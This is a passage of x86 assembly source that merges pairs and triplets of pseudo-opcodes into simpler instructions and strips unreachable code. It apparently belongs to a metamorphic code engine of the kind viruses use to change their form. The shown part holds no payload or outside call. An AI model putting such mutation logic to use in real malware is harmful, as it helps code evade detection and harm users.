                mov     eax, 50h       ; MOV Mem,Reg/PUSH Mem = PUSH Reg
                jmp   @@Double_Next_SetInstruction

      @@Double_Next03:
                ;mov     al, [esi]
                cmp     eax, 0C3h   ; Check pair beginning with MOV Mem8,Reg8
                jnz   @@Double_Next04
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 00h+80h  ; Check if it's a normal operation
                jb    @@Double_End    ; (pseudo-opcodes 80-CC)
                cmp     eax, 4Ch+80h
                jbe   @@Double_Next_OPRegReg
                jmp   @@Double_End

      @@Double_Next04:
                cmp     eax, 44h    ; Check if it begins with MOV Mem,Imm
                jnz   @@Double_Next05
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 51h    ; PUSH Mem?
                jz    @@Double_Next04_PushImm ; Set PUSH Imm
                cmp     eax, 4Ch
                ja    @@Double_Next05
                and     eax, 7
                cmp     eax, 2         ; OP Reg,Mem?
                jnz   @@Double_Next05  ; If not, check next pair
        @@Double_Next_Merge_MOV_OP:
                mov     eax, [edi+7]
                mov     ebx, [esi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+1], eax
                mov     eax, [edi]
                and     eax, 0F8h   ; MOV Mem,Imm + OP Reg,Mem = OP Reg,Imm
                jmp   @@Double_Next_SetInstruction
        @@Double_Next04_PushImm:
                mov     eax, 68h    ; MOV Mem,Imm + PUSH Mem = PUSH Imm
                jmp   @@Double_Next_SetInstruction

      @@Double_Next05:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 44h+80h  ; Same as above, but 8 bits operations
                jnz   @@Double_Next06
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 00h+80h
                jb    @@Double_Next06
                cmp     eax, 4Ch+80h
                ja    @@Double_Next06
                and     eax, 7
                cmp     eax, 2
                jnz   @@Double_Next06
                jmp   @@Double_Next_Merge_MOV_OP

      @@Double_Next06:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 59h     ; POP Mem?
                jnz   @@Double_Next_NoMem
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 42h     ; POP Mem + MOV Reg,Mem?
                jz    @@Double_Next06_POPReg
                cmp     eax, 4Fh     ; POP Mem + MOV Mem,Mem?
                jz    @@Double_Next06_POPMem
                cmp     eax, 51h     ; POP Mem + PUSH Mem?
                jz    @@Double_Next_SetDoubleNOP
                cmp     eax, 0EBh    ; POP Mem + JMP Mem?
                jnz   @@Double_Next_NoMem
                mov     eax, 0FEh    ; POP Mem + JMP Mem = RET
                jmp   @@Double_Next_SetInstruction
        @@Double_Next06_POPReg:
                mov     eax, [edi+7]
                mov     [esi+1], eax
                mov     eax, 58h     ; POP Mem + MOV Reg,Mem = POP Reg
                jmp   @@Double_Next_SetInstruction
        @@Double_Next06_POPMem:
                mov     ebx, [edi+7]
                mov     eax, [ebx+1]
                mov     [esi+1], eax
                mov     eax, [ebx+3]
                mov     [esi+3], eax ; POP Mem + MOV Mem2,Mem = POP Mem2
                jmp   @@Double_Next_SetNOP
        @@Double_Next_SetDoubleNOP:
                mov     eax, 0FFh    ; POP Mem + PUSH Mem = NOP
                jmp   @@Double_Next_SetInstruction


      @@Double_Next_NoMem:

                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 40h       ; MOV Reg,Imm?
                jnz   @@Double_Next07
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 42h+80h   ; MOV Reg,Imm + MOV Reg8,Mem8?
                jz    @@Double_Next06_MaybeMOVZX
                cmp     eax, 1         ; MOV Reg,Imm + ADD Reg,Reg?
                jnz   @@Double_Next07
                mov     eax, [esi+1]   ; MOV Reg,Imm + ADD Reg,Reg2 =
                and     eax, 0FFh      ; = LEA Reg,[Reg2+Imm]
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next07
                mov     eax, [esi+7]
                mov     [esi+3], eax
                mov     eax, [esi+1]
                mov     [esi+7], eax
                mov     eax, [edi+1]
                and     eax, 0FFh
                mov     ebx, [esi+1]
                and     ebx, 0FFFFFF00h
                add     eax, ebx
                mov     [esi+1], eax
        @@Double_Next06_SetLEA:
                mov     eax, [esi+2]
                and     eax, 0FFFFFF00h
                add     eax, 8
                mov     [esi+2], eax
                mov     eax, 0FCh
                jmp   @@Double_Next_SetInstruction
      @@Double_Next06_MaybeMOVZX:
                mov     eax, [esi+7]
                or      eax, eax
                jnz   @@Double_Next07
                mov     eax, [esi+1]
                and     eax, 0FFh
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next07
                mov     ebx, [edi+1]
                and     ebx, 0FFh
                cmp     eax, ebx
                jz    @@Double_Next07
                mov     ebx, [edi+2]
                and     ebx, 0Fh
                cmp     eax, ebx
                jz    @@Double_Next07
                mov     [esi+7], eax
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, [edi+3]
                mov     [esi+3], eax
                mov     eax, 0F8h   ; MOV Reg,0+MOV Reg8,Mem8=MOVZX Reg,Mem8
                jmp   @@Double_Next_SetInstruction

      @@Double_Next07:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 41h    ; MOV Reg,Reg?
                jnz   @@Double_Next08
                mov     eax, [edi]
                and     eax, 0FFh
                or      eax, eax    ; MOV Reg,Reg + ADD Reg,Imm?
                jz    @@Double_Next07_LEA01
                cmp     eax, 1      ; MOV Reg,Reg + ADD Reg,Reg?
                jnz   @@Double_Next08
                mov     eax, [esi+7]
                and     eax, 0FFh
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next08
                mov     eax, [edi+1]
                mov     [esi+2], eax
                xor     eax, eax
                mov     [esi+3], eax    ; MOV Reg,Reg2 + ADD Reg,Reg3 =
                mov     eax, 0FCh       ; = LEA Reg,[Reg2+Reg3]
                jmp   @@Double_Next_SetInstruction
        @@Double_Next07_LEA01:
                mov     eax, [esi+7]
                and     eax, 0FFh
                mov     ebx, [edi+1]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next08
                mov     eax, [edi+7]  ; MOV Reg,Reg2 + ADD Reg,Imm =
                mov     [esi+3], eax  ; = LEA Reg,[Reg2+Imm]
                jmp   @@Double_Next06_SetLEA

      @@Double_Next08:
                mov     eax, [esi]
                and     eax, 0FFh
                or      eax, eax      ; ADD Reg,Imm?
                jnz   @@Double_Next09
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 01h      ; ADD Reg,Imm + ADD Reg,Reg2?
                jnz   @@Double_Next09
                mov     eax, [esi+1]
                and     eax, 0FFh
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next09
                mov     eax, [edi+1]
                mov     [esi+2], eax
                mov     eax, [esi+7]
                mov     [esi+3], eax
                mov     eax, [esi+1]
                mov     [esi+7], eax
                mov     eax, 0FCh     ; Merge to LEA
                jmp   @@Double_Next_SetInstruction

      @@Double_Next09:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 01h      ; ADD Reg,Reg?
                jnz   @@Double_Next10
                mov     eax, [edi]
                and     eax, 0FFh
                or      eax, eax      ; ADD Reg,Imm?
                jnz   @@Double_Next10
                mov     eax, [esi+7]
                cmp     al, [edi+1]
                jnz   @@Double_Next10
                mov     eax, [esi+1]
                mov     [esi+2], al
                mov     eax, [esi+7]
                mov     [esi+1], al
                mov     eax, [edi+7]
                mov     [esi+3], eax
                mov     eax, 0FCh     ; Merge to LEA
                jmp   @@Double_Next_SetInstruction

      @@Double_Next10:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 4Ch      ; Generic OP?
                ja    @@Double_Next11
                mov     al, [edi]
                cmp     eax, 4Ch      ; Generic OP + Generic OP?
                ja    @@Double_Next11
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 4        ; OP Mem,Imm + Generic OP?
                jz    @@Double_Next10_OPMemImm
                or      eax, eax      ; OP Reg,Imm + Generic OP?
                jnz   @@Double_Next11
        @@Double_Next10_OPRegImm:
                mov     eax, [edi]
                and     eax, 7
                or      eax, eax      ; OP Reg,Imm + OP Reg,Imm?
                jnz   @@Double_Next11
                mov     eax, [esi+1]
                cmp     al, [edi+1]   ; 1st Reg == 2nd Reg?
                jnz   @@Double_Next11
                xor     ebx, ebx
        @@Double_Next_CalculateOperation:
                push    ebx
                mov     ecx, [esi+7]
                mov     edx, [edi+7]
        @@Double_Next_CalculateOperation_2:
                mov     eax, [edi]
                and     eax, 78h      ; Get 2nd OP
                mov     ebx, eax
                mov     eax, [esi]
                and     eax, 78h      ; Get 1st OP
                call    CalculateOperation ; Merge the operations
                pop     ebx
                cmp     eax, 0FEh     ; Can be merged?
                jz    @@Double_End    ; If not, check triplet
                cmp     eax, 0FFh     ; OP Reg,Imm + MOV Reg,Imm?
                jz    @@Double_Next_SetNOPAt1st ; Then, eliminate first
                mov     [esi+7], ecx
                add     eax, ebx      ; Set merged operation
                jmp   @@Double_Next_SetInstruction
        @@Double_Next_SetNOPAt1st:
                mov     eax, 0FFh     ; Set NOP at first instruction
                mov     [esi], al
                jmp   @@EndCompressed ; Return with success
        @@Double_Next10_OPMemImm:
                mov     eax, [edi]
                and     eax, 7
                cmp     eax, 4        ; OP Mem,Imm + OP Mem,Imm?
                jnz   @@Double_Next11
                mov     eax, [esi+1]
                cmp     eax, [edi+1]  ; Are mem operands the same?
                jnz   @@Double_Next11
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next11
                mov     ebx, 4        ; If so, jump to try merging OPs
                jmp   @@Double_Next_CalculateOperation

      @@Double_Next11:
                xor     eax, eax
                mov     al, [esi]     ; Do the same as above, but with
                cmp     eax, 00h+80h  ; 8 bits operations
                jb    @@Double_Next12
                cmp     eax, 4Ch+80h
                ja    @@Double_Next12
                mov     al, [edi]
                cmp     eax, 00h+80h
                jb    @@Double_Next12
                cmp     eax, 4Ch+80h
                ja    @@Double_Next12
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 4
                jz    @@Double_Next11_OPMemImm_8b
                or      eax, eax
                jnz   @@Double_Next12
        @@Double_Next11_OPRegImm_8b:
                mov     eax, [edi]
                and     eax, 7
                or      eax, eax
                jnz   @@Double_Next12
                mov     ebx, 80h
        @@Double_Next11_CalculateOperation_8b:
                push    ebx
                xor     eax, eax
                mov     al, [esi+7]
                mov     ecx, eax
                mov     al, [edi+7]
                mov     edx, eax
                jmp   @@Double_Next_CalculateOperation_2
        @@Double_Next11_OPMemImm_8b:
                mov     eax, [edi]
                and     eax, 7
                cmp     eax, 4
                jnz   @@Double_Next12
                mov     eax, [esi+1]
                cmp     eax, [edi+1]
                jnz   @@Double_Next12
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next12
                mov     ebx, 84h
                jmp   @@Double_Next11_CalculateOperation_8b

      @@Double_Next12:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 0FCh     ; LEA?
                jnz   @@Double_Next13
                mov     al, [edi]
                cmp     eax, 01h      ; LEA + ADD Reg,Reg?
                jz    @@Double_Next12_MergeLEAADDReg
                or      eax, eax      ; LEA + ADD Reg,Imm?
                jnz   @@Double_Next13
        @@Double_Next12_MergeLEAADD:
                mov     eax, [esi+7]  ; Check if destiny in LEA is the same
                cmp     al, [edi+1]   ; as destiny in ADD
                jnz   @@Double_Next13
                mov     eax, [edi+7]  ; If so, add the Imm of the ADD to the
                add     [esi+3], eax  ; dword addition in the LEA and set
                jmp   @@Double_Next_SetNOP ; NOP at first instruction
        @@Double_Next12_MergeLEAADDReg:
                mov     eax, [esi+7]
                cmp     al, [edi+7]   ; Check if destinies are the same
                jnz   @@Double_Next13
                mov     eax, 8
                cmp     al, [esi+1]   ; Look for a free space to insert the
                jz    @@Double_Next12_SetFirstReg ; register addition in the
                cmp     al, [esi+2]               ; LEA
                jz    @@Double_Next12_SetSecondReg
                mov     eax, [edi+1]  ; If the register is already inserted,
                cmp     al, [esi+2]   ;  set a *2 in the multiplicator
                jz    @@Double_Next12_AddScalar
                cmp     al, [esi+1]
                jnz   @@Double_Next13
                mov     eax, [esi+2]
                cmp     al, 40h       ; If multiplicator is already *2 or
                jae   @@Double_Next13 ;  greater, don't shrink
                push    eax           ; Exchange registers, to set the one
                mov     eax, [esi+1]  ;  repeated in the second slot of the
                add     eax, 40h      ;  indexes.
                mov     [esi+2], al   ; Set *2
                pop     eax
                mov     [esi+1], al
                jmp   @@Double_Next_SetNOP ; Eliminate first instruction
        @@Double_Next12_AddScalar:
                mov     eax, [esi+2]  ; Set *2 to the second index
                add     eax, 40h
                mov     [esi+2], al
                jmp   @@Double_Next_SetNOP
        @@Double_Next12_SetFirstReg:
                mov     eax, [edi+1] ; Set a new index register
                mov     [esi+1], al
                jmp   @@Double_Next_SetNOP
        @@Double_Next12_SetSecondReg:
                mov     eax, [edi+1] ; Set a new second index register
                mov     [esi+2], al
                jmp   @@Double_Next_SetNOP

      @@Double_Next13:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 4Fh     ; MOV Mem,Mem?
                jnz   @@Double_Next14
                mov     al, [edi]
                cmp     eax, 4Fh     ; MOV Mem,Mem2 + MOV Mem2,Mem3?
                jz    @@Double_Next13_MergeMOVs ; Then, merge them
                cmp     eax, 4Ch
                ja    @@Double_Next13_NotOPRegMem
        @@Double_Next13_OPRegMem_2:
                and     eax, 7
                cmp     eax, 2       ; MOV Mem,Mem2 + OP Reg,Mem?
                jz    @@Double_Next13_OPRegMem
                mov     al, [edi]
                jmp   @@Double_Next13_NotOPRegMem2
        @@Double_Next13_NotOPRegMem:
                cmp     eax, 00h+80h ; Same with 8 bits?
                jb    @@Double_Next13_NotOPRegMem2
                cmp     eax, 4Ch+80h
                jbe   @@Double_Next13_OPRegMem_2
        @@Double_Next13_NotOPRegMem2:
                cmp     eax, 43h     ; Merge MOVs
                jz    @@Double_Next13_MOVMemReg
                cmp     eax, 0F6h    ; APICALL_STORE = MOV Mem,EAX
                jz    @@Double_Next13_MOVMemReg
                cmp     eax, 44h     ; MOV Mem,Mem2 + MOV Mem2,Imm?
                jz    @@Double_Next13_MOVMemImm
                cmp     eax, 0EAh    ; MOV Mem,Mem2 + CALL Mem?
                jz    @@Double_Next13_CALLMem
                cmp     eax, 0EBh    ; MOV Mem,Mem2 + JMP Mem?
                jnz   @@Double_Next14
        @@Double_Next13_JMPMem:
        @@Double_Next13_CALLMem:
        @@Double_Next13_OPRegMem:
                mov     ebx, [esi+7]  ; Merge Mem operands
                mov     eax, [ebx+1]
                cmp     eax, [edi+1]
                jnz   @@Double_Next14
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next14
                mov     eax, [esi+1]
                mov     [edi+1], eax
                mov     eax, [esi+3]
                mov     [edi+3], eax
                jmp   @@Double_Next_SetNOPAt1st
        @@Double_Next13_MergeMOVs:
                mov     ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Mem3 =
                mov     eax, [ebx+1] ; = MOV Mem,Mem3
                cmp     eax, [edi+1]
                jnz   @@Double_Next14
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next14
                mov     eax, [edi+7]
                mov     [esi+7], eax
                mov     [eax+7], esi
                jmp   @@Double_Next_SetNOP
        @@Double_Next13_MOVMemReg:
        @@Double_Next13_MOVMemImm:
                mov     ebx, [esi+7]  ; MOV Mem,Mem2 + MOV Mem2,Reg/Imm =
                mov     eax, [ebx+1]  ; = MOV Mem,Reg/Imm
                cmp     eax, [edi+1]
                jnz   @@Double_Next14
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jz    @@Double_Next_SetNOPAt1st

      @@Double_Next14:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 70h     ; Jcc?
                jb    @@Double_Next15
                cmp     eax, 7Fh
                ja    @@Double_Next15
                mov     al, [edi]
                cmp     eax, 0E9h    ; Jcc + JMP?
                jz    @@Double_Next14_CheckJMP
                cmp     eax, 70h
                jb    @@Double_Next15
                cmp     eax, 7Fh     ; Jcc + Jcc?
                ja    @@Double_Next15
                mov     eax, [edi+1] ; Check if they point to the next
                cmp     eax, [esi+1] ; label
                jnz   @@Double_Next15
                mov     eax, [esi]
                and     eax, 0Fh
                mov     ebx, eax
                mov     eax, [edi]
                and     eax, 0Fh
                ; EAX = Flag test 1
                ; EBX = Flag test 2
                call    GetRealCheck ; Merge the flag checking
                cmp     eax, 0FFh
                jz    @@Double_End
                add     eax, 70h     ; Add 70 to the result
                cmp     eax, 0E9h    ; If Jcc + Jcc == JMP, set it, and jump
                jz    @@Double_Next32_JMP ; to eliminate the code until the
                                          ; next label
                jmp   @@Double_Next_SetInstruction
      @@Double_Next14_CheckJMP:
                mov     eax, [edi+1] ; Jcc @123 + JMP @123 = JMP @123
                cmp     eax, [esi+1]
                jz    @@Double_Next_SetNOPAt1st
                jmp   @@Double_End

      @@Double_Next15:
;                 mov     edx, 40h
;                 call    Check_OP_MOV
;                 cmp     eax, 0FFh               ; This makes many problems!
;                 jz    @@Double_Next_SetNOPAt1st ;
                                                  ; Disabled.
      @@Double_Next16:
;                 mov     edx, 0C0h
;                 call    Check_OP_MOV
;                 cmp     eax, 0FFh
;                 jz    @@Double_Next_SetNOPAt1st

      @@Double_Next17:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 0E0h    ; NOT Reg?
                jnz   @@Double_Next18
                mov     ebx, 0E4h    ; NOT Reg + NEG Reg?
                xor     ecx, ecx
                mov     edx, 1       ; Set ADD Reg,1
        @@Double_Next_Check_NOT_OP:
                xor     eax, eax
                mov     al, [edi]
                cmp     eax, ebx ; 0E4h
                jz    @@Double_Next17_ADDReg ; Check NOT/NEG + ADD,1/-1
                cmp     eax, ecx ; 00h
                jnz   @@Double_End
        @@Double_Next17_NEGReg:
                mov     eax, [esi+1]
                cmp     al, [edi+1]
                jnz   @@Double_End
        @@Double_Next17_NEGReg_2:
                test    ebx, 2
                jz    @@Double_Next17_Get32
                xor     eax, eax
                mov     al, [edi+7]
                cmp     eax, 80h
                jb    @@Double_Next17_Cont00
                add     eax, 0FFFFFF00h
                jmp   @@Double_Next17_Cont00
        @@Double_Next17_Get32:
                mov     eax, [edi+7]
        @@Double_Next17_Cont00:
                cmp     eax, edx
                jnz   @@Double_End
                mov     eax, ebx  ; NEG
                jmp   @@Double_Next_SetInstruction
        @@Double_Next17_ADDReg:
                mov     eax, [esi+1]
                cmp     al, [edi+1]
                jnz   @@Double_End
        @@Double_Next17_ADDReg_2:
                mov     eax, edx
                mov     [esi+7], eax
                mov     eax, ecx
                jmp   @@Double_Next_SetInstruction

      @@Double_Next18:
                ;mov     al, [esi]
                cmp     eax, 0E2h  ; Check NOT Reg8 + NEG Reg8/ADD Reg8,1
                jnz   @@Double_Next19
                mov     ebx, 0E6h
                mov     ecx, 80h
                mov     edx, 1     ; If so, set ADD Reg8,1/NEG Reg8
                jmp   @@Double_Next_Check_NOT_OP

      @@Double_Next19:
                ;mov     al, [esi]
                cmp     eax, 0E4h  ; NEG Reg + NOT Reg/ADD Reg,-1?
                jnz   @@Double_Next20
                mov     ebx, 0E0h
                xor     ecx, ecx
                mov     edx, -1    ; If so, set ADD Reg,-1/NOT Reg
                jmp   @@Double_Next_Check_NOT_OP

      @@Double_Next20:
                ;mov     al, [esi]
                cmp     eax, 0E6h  ; NEG Reg8 + NOT Reg8/ADD Reg8,-1?
                jnz   @@Double_Next21
                mov     ebx, 0E2h
                mov     ecx, 80h
                mov     edx, -1    ; Set ADD Reg8,-1/NOT Reg8
                jmp   @@Double_Next_Check_NOT_OP

      @@Double_Next21:
                cmp     eax, 0E1h  ; NOT Mem + NEG Mem/ADD Mem,1?
                jnz   @@Double_Next22
                mov     ebx, 0E5h
                mov     ecx, 4
                mov     edx, 1     ; Then, set ADD Mem,1/NEG Mem
        @@Double_Next_Check_NOT_OP_Mem:
                xor     eax, eax
                mov     al, [edi]
                cmp     eax, ebx
                jz    @@Double_Next21_ADDMem
                cmp     eax, ecx
                jnz   @@Double_End
        @@Double_Next21_NEGMem:
                mov     eax, [esi+1] ; Check if operands are the same
                cmp     eax, [edi+1]
                jnz   @@Double_End
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_End
                xor     eax, eax
                jmp   @@Double_Next17_NEGReg_2
        @@Double_Next21_ADDMem:
                mov     eax, [esi+1]  ; Check NOT/NEG + ADD,1/-1
                cmp     eax, [edi+1]
                jnz   @@Double_End
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_End
                xor     eax, eax
                jmp   @@Double_Next17_ADDReg_2

      @@Double_Next22:
                cmp     eax, 0E3h     ; NOT Mem8 + NEG Mem8/ADD Mem,1?
                jnz   @@Double_Next23
                mov     ebx, 0E7h
                mov     ecx, 84h
                mov     edx, 1        ; Set ADD Mem8,1/NEG Mem8
                jmp   @@Double_Next_Check_NOT_OP_Mem

      @@Double_Next23:
                cmp     eax, 0E5h     ; NEG Mem + NOT Mem/ADD Mem,-1?
                jnz   @@Double_Next24
                mov     ebx, 0E1h
                mov     ecx, 4
                mov     edx, -1       ; Set ADD Mem,-1/NOT Mem
                jmp   @@Double_Next_Check_NOT_OP_Mem

      @@Double_Next24:
                cmp     eax, 0E7h     ; NEG Mem8 + NOT Mem8/ADD Mem8,-1?
                jnz   @@Double_Next25
                mov     ebx, 0E3h
                mov     ecx, 84h
                mov     edx, -1       ; Set ADD Mem8,-1/NOT Mem8
                jmp   @@Double_Next_Check_NOT_OP_Mem


; Next four conditions are also disabled. They would work theorically, but they
; don't in practice :/
      @@Double_Next25:
;                 cmp     eax, 38h
;                 jb    @@Double_Next26
;                 cmp     eax, 3Ch
;                 ja    @@Double_Next26
;         @@Double_Next_CheckComparision:
;                 mov     al, [edi]
;                 cmp     eax, 70h
;                 jb    @@Double_Next_NoComparision
;                 cmp     eax, 7Fh
;                 jbe   @@Double_End
;       @@Double_Next_NoComparision:
;                 jmp   @@Double_Next_SetNOPAt1st

      @@Double_Next26:
;                 ;mov     al, [esi]
;                 cmp     eax, 38h+80h
;                 jb    @@Double_Next27
;                 cmp     eax, 3Ch+80h
;                 jbe   @@Double_Next_CheckComparision

      @@Double_Next27:
;                 ;mov     al, [esi]
;                 cmp     eax, 48h
;                 jb    @@Double_Next28
;                 cmp     eax, 4Ch
;                 jbe   @@Double_Next_CheckComparision

      @@Double_Next28:
;                 ;mov     al, [esi]
;                 cmp     eax, 48h+80h
;                 jb    @@Double_Next29
;                 cmp     eax, 4Ch+80h
;                 jbe   @@Double_Next_CheckComparision

      @@Double_Next29:
                cmp     eax, 0EAh   ; CALL Mem + MOV Mem,EAX?
                jnz   @@Double_Next30
        @@Double_Next29_CheckAPICALL_STORE:
                mov     al, [edi]
                cmp     eax, 43h
                jnz   @@Double_End
                mov     al, [edi+7] ; Check EAX
                or      eax, eax
                jnz   @@Double_End
                mov     eax, 0F6h
                mov     [edi], al   ; Set APICALL_STORE
                xor     eax, eax
                mov     [edi+7], eax  ; If we put 0 here we can treat this as
                jmp   @@EndCompressed ; an special opcode 43h (MOV Mem,Reg)

      @@Double_Next30:
                cmp     eax, 0ECh   ; Check CALL Reg + MOV Mem,EAX?
                jz    @@Double_Next29_CheckAPICALL_STORE ; Check APICALL_STORE

      @@Double_Next31:
                cmp     eax, 42h    ; MOV Reg,Mem?
                jnz   @@Double_Next32
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 20h    ; MOV Reg,Mem + AND Reg,0FF?
                jz    @@Double_Next31_MaybeMOVZX ; Set MOVZX
                mov     al, [esi+7]
                cmp     eax, 2      ; EAX,ECX,EDX? (it only uses these three)
                ja    @@Double_Next32
                cmp     al, [edi+1]
                jnz   @@Double_Next32
                mov     al, [edi]
                cmp     eax, 0ECh   ; CALL Reg?
                jnz   @@Double_Next32
                sub     eax, 2      ; MOV Reg,Mem + CALL Reg = CALL Mem
                jmp   @@Double_Next_SetInstruction
      @@Double_Next31_MaybeMOVZX:
                mov     eax, [edi+7] ; Check MOVZX. We check if the destiny
                cmp     eax, 0FFh    ; registers are the same one
                jnz   @@Double_Next32
                mov     eax, [esi+7]
                and     eax, 0FFh
                mov     ebx, [edi+1]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next32
                mov     eax, [esi+1]
                and     eax, 0FFh    ; AND Reg,0FF?
                cmp     eax, ebx
                jz    @@Double_Next32
                mov     eax, [esi+2]
                and     eax, 0Fh     ; Set the register
                cmp     eax, ebx
                jz    @@Double_Next32
                mov     eax, 0F8h    ; Set MOVZX Reg,byte ptr Mem
                jmp   @@Double_Next_SetInstruction


      @@Double_Next32:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 39h     ; CMP Reg,Reg?
                jnz   @@Double_Next33
        @@Double_Next32_Common:
                mov     al, [edi]
                cmp     eax, 70h     ; CMP Reg,Reg + Jcc @xxx?
                jb    @@Double_End
                cmp     eax, 7Fh
                ja    @@Double_End
                mov     al, [esi+1]
                mov     ebx, eax     ; If source and destiny in CMP aren't
                mov     al, [esi+7]  ; the same, it's not a camuflated JMP
                cmp     eax, ebx
                jnz   @@Double_End

                mov     eax, [edi]   ; Check flags when we jump for sure
                and     eax, 07h     ; and when the two instructions do
                cmp     eax, 1       ; nothing.
                jz    @@Double_Next32_JMP
                cmp     eax, 6
                jz    @@Double_Next32_JMP
                mov     eax, [edi]
                and     eax, 0Fh
                cmp     eax, 2
                jbe   @@Double_Next32_NOP
                cmp     eax, 4
                jbe   @@Double_Next32_JMP
                cmp     eax, 0Ah
                jz    @@Double_Next32_JMP
                cmp     eax, 0Dh
                jz    @@Double_Next32_JMP
        @@Double_Next32_NOP:
                mov     eax, 0FFh   ; Set NOP in JO,JB,JNZ,JA,JS,JNP,JL,JG
                mov     [edi], eax
                jmp   @@EndCompressed
        @@Double_Next32_JMP:
                mov     eax, 0E9h   ; Set JMP in JNO,JAE,JZ,JBE,JNS,JP,JGE,JLE
                mov     [edi], al
                mov     edx, edi
 ; After the jump, we eliminate all the instructions until the next labelled
 ; instruction. That instructions are never executed, so we NOP them to avoid
 ; its reassembly.
        @@Double_Next32_EliminateNonReachableCode:
                add     edx, 10h
                cmp     edx, [ebp+AddressOfLastInstruction]
                jae   @@EndCompressed
                mov     al, [edx+0Bh]  ; Check label mark
                or      eax, eax
                jnz   @@EndCompressed
                mov     eax, 0FFh
                mov     [edx], eax
                jmp   @@Double_Next32_EliminateNonReachableCode


      @@Double_Next33:
                cmp     eax, 39h+80h   ; Do the same with CMP Reg8,Reg8
                jz    @@Double_Next32_Common

      @@Double_End:


 ;; Here we check triplets of instructions and merge them into one.
      @@Check_Triple:
                mov     edx, esi
                mov     esi, edi
                call    IncreaseEIP
                cmp     edi, [ebp+AddressOfLastInstruction]
                jz    @@EndNoCompressed
                xor     eax, eax
                mov     al, [edi+0Bh]
                or      eax, eax
                jnz   @@EndNoCompressed ; No compress if a label is pointing
                                        ; the last instruction
                ; Check triplet in [edx],[esi],[edi]

      @@Triple_Next00:
                ;xor     eax, eax
                mov     al, [edx]
                cmp     eax, 43h       ; MOV Mem,Reg?
                jnz   @@Triple_Next01
                mov     eax, [edx+1]   ; Check mem operands
                cmp     eax, [esi+1]
                jnz   @@Triple_Next01
                mov     eax, [edx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_Next01
                mov     eax, [edi]
                cmp     al, 42h        ; 3rd instruction == MOV Reg,Mem?
                jz    @@Triple_Next00_Constr00
                cmp     al, 70h        ; 3rd instr. == Jcc?
                jb    @@Triple_Next01
                cmp     al, 7Fh
                ja    @@Triple_Next01
                mov     eax, [esi]
                and     eax, 0F8h      ; Get the comparision
                or      eax, eax
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 28h       ; SUB?
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 38h       ; CMP?
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 48h       ; TEST?
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 20h       ; AND?
                jnz   @@Triple_End
        @@Triple_Next00_Maybe01:
                xor     ebx, ebx
        @@Triple_Next00_CheckCMPTEST:
                mov     eax, [esi]     ; Get the operation being performed
                and     eax, 07Fh
                cmp     eax, 48h       ; If test, jump
                jb    @@Triple_Next00_CheckCMPTEST_00
                and     eax, 7
                cmp     eax, 2         ; Check if it's OP Reg,Mem
                jz    @@Triple_Next00_CMPTESTRegReg
                jmp   @@Triple_Next00_CheckCMPTEST_01
        @@Triple_Next00_CheckCMPTEST_00:
                and     eax, 7
                cmp     eax, 3         ; Check if it's OP Mem,Reg
                jz    @@Triple_Next00_CMPTESTRegReg
        @@Triple_Next00_CheckCMPTEST_01:
                cmp     eax, 4         ; Check if it's OP Mem,Imm
                jnz   @@Triple_End
        @@Triple_Next00_CMPTESTRegImm:
                mov     eax, [edx+7]
                mov     [esi+1], al    ; Set CMP/TEST Reg,Imm
              ;  xor     ebx, ebx
        @@Triple_Next00_SET_CMPTEST:
                mov     eax, [esi]
                and     eax, 78h
                cmp     eax, 48h       ; Check TEST
                jz    @@Triple_Next00_SetInstruction
                cmp     eax, 20h       ; Check AND
                jz    @@Triple_Next00_Cont80
                cmp     eax, 38h       ; Check CMP
                jz    @@Triple_Next00_SetInstruction
                or      eax, eax       ; Check ADD (maybe is a conversion
                jz    @@Triple_Next00_NegateImm  ; of SUB Reg,Imm)
        @@Triple_Next00_SetCMP:
                mov     eax, 38h       ; Set CMP if it's SUB/CMP
                jmp   @@Triple_Next00_SetInstruction
        @@Triple_Next00_NegateImm:
                mov     eax, [esi+7]
